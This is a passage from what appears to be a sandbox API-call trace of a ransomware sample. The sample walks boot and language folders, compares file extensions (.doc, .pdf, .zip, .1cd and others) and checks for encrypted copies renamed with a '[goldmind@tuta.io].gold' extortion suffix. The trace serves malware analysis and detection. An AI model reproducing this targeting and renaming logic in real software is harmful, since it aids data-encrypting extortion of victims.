CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".doc") returned 4 [0034.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString=".docx") returned 5 [0034.980] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.980] lstrlenW (lpString=".pdf") returned 4 [0034.980] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".xls") returned 4 [0034.980] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".xlsx") returned 5 [0034.980] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.980] lstrlenW (lpString=".ppt") returned 4 [0034.980] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".zip") returned 4 [0034.980] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".rar") returned 4 [0034.980] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".bz2") returned 4 [0034.980] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString=".7z") returned 3 [0034.980] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".dbf") returned 4 [0034.980] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".1cd") returned 4 [0034.980] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".jpg") returned 4 [0034.980] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.980] lstrlenW (lpString=".doc") returned 4 [0034.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.980] lstrlenW (lpString=".docx") returned 5 [0034.980] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.980] lstrlenW (lpString=".pdf") returned 4 [0034.980] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".xls") returned 4 [0034.980] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.980] lstrlenW (lpString=".xlsx") returned 5 [0034.980] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.980] lstrlenW (lpString=".ppt") returned 4 [0034.981] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.981] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString=".zip") returned 4 [0034.981] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.981] lstrlenW (lpString=".rar") returned 4 [0034.981] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.981] lstrlenW (lpString=".bz2") returned 4 [0034.981] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.981] lstrlenW (lpString=".7z") returned 3 [0034.981] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.981] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString=".dbf") returned 4 [0034.981] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.981] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString=".1cd") returned 4 [0034.981] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.981] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString=".jpg") returned 4 [0034.981] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.981] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.981] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.981] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.981] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90688) returned 1 [0034.981] CloseHandle (hObject=0x18c) returned 1 [0034.981] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0034.981] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.981] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.981] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.981] lstrlenW (lpString=".doc") returned 4 [0034.981] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString=".docx") returned 5 [0034.982] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.982] lstrlenW (lpString=".pdf") returned 4 [0034.982] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".xls") returned 4 [0034.982] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".xlsx") returned 5 [0034.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.982] lstrlenW (lpString=".ppt") returned 4 [0034.982] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".zip") returned 4 [0034.982] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".rar") returned 4 [0034.982] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".bz2") returned 4 [0034.982] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString=".7z") returned 3 [0034.982] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".dbf") returned 4 [0034.982] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".1cd") returned 4 [0034.982] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".jpg") returned 4 [0034.982] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".doc") returned 4 [0034.982] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.982] lstrlenW (lpString=".docx") returned 5 [0034.982] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.982] lstrlenW (lpString=".pdf") returned 4 [0034.982] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".xls") returned 4 [0034.982] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".xlsx") returned 5 [0034.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.982] lstrlenW (lpString=".ppt") returned 4 [0034.982] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.982] lstrlenW (lpString=".zip") returned 4 [0034.982] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.982] lstrlenW (lpString=".rar") returned 4 [0034.983] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.983] lstrlenW (lpString=".bz2") returned 4 [0034.983] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.983] lstrlenW (lpString=".7z") returned 3 [0034.983] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.983] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.983] lstrlenW (lpString=".dbf") returned 4 [0034.983] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.983] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.983] lstrlenW (lpString=".1cd") returned 4 [0034.983] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.983] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0034.983] lstrlenW (lpString=".jpg") returned 4 [0034.983] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.983] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.983] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.983] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.983] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90704) returned 1 [0034.983] CloseHandle (hObject=0x18c) returned 1 [0034.983] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0034.983] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.983] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.983] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.983] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.983] lstrlenW (lpString=".doc") returned 4 [0034.983] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.983] lstrlenW (lpString=".docx") returned 5 [0034.983] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.983] lstrlenW (lpString=".pdf") returned 4 [0034.983] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.983] lstrlenW (lpString=".xls") returned 4 [0034.983] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.983] lstrlenW (lpString=".xlsx") returned 5 [0034.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.984] lstrlenW (lpString=".ppt") returned 4 [0034.984] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".zip") returned 4 [0034.984] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".rar") returned 4 [0034.984] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".bz2") returned 4 [0034.984] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString=".7z") returned 3 [0034.984] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".dbf") returned 4 [0034.984] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".1cd") returned 4 [0034.984] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".jpg") returned 4 [0034.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".doc") returned 4 [0034.984] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString=".docx") returned 5 [0034.984] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.984] lstrlenW (lpString=".pdf") returned 4 [0034.984] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".xls") returned 4 [0034.984] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".xlsx") returned 5 [0034.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.984] lstrlenW (lpString=".ppt") returned 4 [0034.984] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".zip") returned 4 [0034.984] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".rar") returned 4 [0034.984] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.984] lstrlenW (lpString=".bz2") returned 4 [0034.984] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString=".7z") returned 3 [0034.984] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".dbf") returned 4 [0034.984] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".1cd") returned 4 [0034.984] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.984] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0034.984] lstrlenW (lpString=".jpg") returned 4 [0034.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.985] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.985] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.985] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.985] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=76352) returned 1 [0034.985] CloseHandle (hObject=0x18c) returned 1 [0034.985] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0034.985] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.985] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.985] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.985] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.985] lstrlenW (lpString=".doc") returned 4 [0034.985] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.985] lstrlenW (lpString=".docx") returned 5 [0034.985] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.985] lstrlenW (lpString=".pdf") returned 4 [0034.985] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.985] lstrlenW (lpString=".xls") returned 4 [0034.985] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.985] lstrlenW (lpString=".xlsx") returned 5 [0034.985] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.985] lstrlenW (lpString=".ppt") returned 4 [0034.985] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.985] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.985] lstrlenW (lpString=".zip") returned 4 [0034.985] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.985] lstrlenW (lpString=".rar") returned 4 [0034.985] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.985] lstrlenW (lpString=".bz2") returned 4 [0034.985] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.985] lstrlenW (lpString=".7z") returned 3 [0034.985] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.985] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.985] lstrlenW (lpString=".dbf") returned 4 [0034.985] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".1cd") returned 4 [0034.986] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".jpg") returned 4 [0034.986] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".doc") returned 4 [0034.986] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString=".docx") returned 5 [0034.986] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.986] lstrlenW (lpString=".pdf") returned 4 [0034.986] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.986] lstrlenW (lpString=".xls") returned 4 [0034.986] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.986] lstrlenW (lpString=".xlsx") returned 5 [0034.986] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.986] lstrlenW (lpString=".ppt") returned 4 [0034.986] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".zip") returned 4 [0034.986] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.986] lstrlenW (lpString=".rar") returned 4 [0034.986] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.986] lstrlenW (lpString=".bz2") returned 4 [0034.986] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString=".7z") returned 3 [0034.986] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".dbf") returned 4 [0034.986] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".1cd") returned 4 [0034.986] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.986] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0034.986] lstrlenW (lpString=".jpg") returned 4 [0034.986] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.986] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.986] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.986] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.987] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=75344) returned 1 [0034.987] CloseHandle (hObject=0x18c) returned 1 [0034.987] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0034.987] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.987] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.987] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.987] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.987] lstrlenW (lpString=".doc") returned 4 [0034.987] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.987] lstrlenW (lpString=".docx") returned 5 [0034.987] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.987] lstrlenW (lpString=".pdf") returned 4 [0034.987] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.987] lstrlenW (lpString=".xls") returned 4 [0034.987] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.987] lstrlenW (lpString=".xlsx") returned 5 [0034.987] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.987] lstrlenW (lpString=".ppt") returned 4 [0034.987] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.987] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.987] lstrlenW (lpString=".zip") returned 4 [0034.987] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.987] lstrlenW (lpString=".rar") returned 4 [0034.987] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.987] lstrlenW (lpString=".bz2") returned 4 [0034.987] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.987] lstrlenW (lpString=".7z") returned 3 [0034.987] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.987] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".dbf") returned 4 [0034.988] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".1cd") returned 4 [0034.988] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".jpg") returned 4 [0034.988] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".doc") returned 4 [0034.988] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString=".docx") returned 5 [0034.988] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.988] lstrlenW (lpString=".pdf") returned 4 [0034.988] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.988] lstrlenW (lpString=".xls") returned 4 [0034.988] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.988] lstrlenW (lpString=".xlsx") returned 5 [0034.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.988] lstrlenW (lpString=".ppt") returned 4 [0034.988] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".zip") returned 4 [0034.988] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.988] lstrlenW (lpString=".rar") returned 4 [0034.988] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.988] lstrlenW (lpString=".bz2") returned 4 [0034.988] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString=".7z") returned 3 [0034.988] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".dbf") returned 4 [0034.988] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.988] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.988] lstrlenW (lpString=".1cd") returned 4 [0034.988] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.989] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0034.989] lstrlenW (lpString=".jpg") returned 4 [0034.989] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.989] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0034.989] lstrlenW (lpString="memtest.exe") returned 11 [0034.989] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.989] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=485760) returned 1 [0034.990] CloseHandle (hObject=0x18c) returned 1 [0034.990] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: 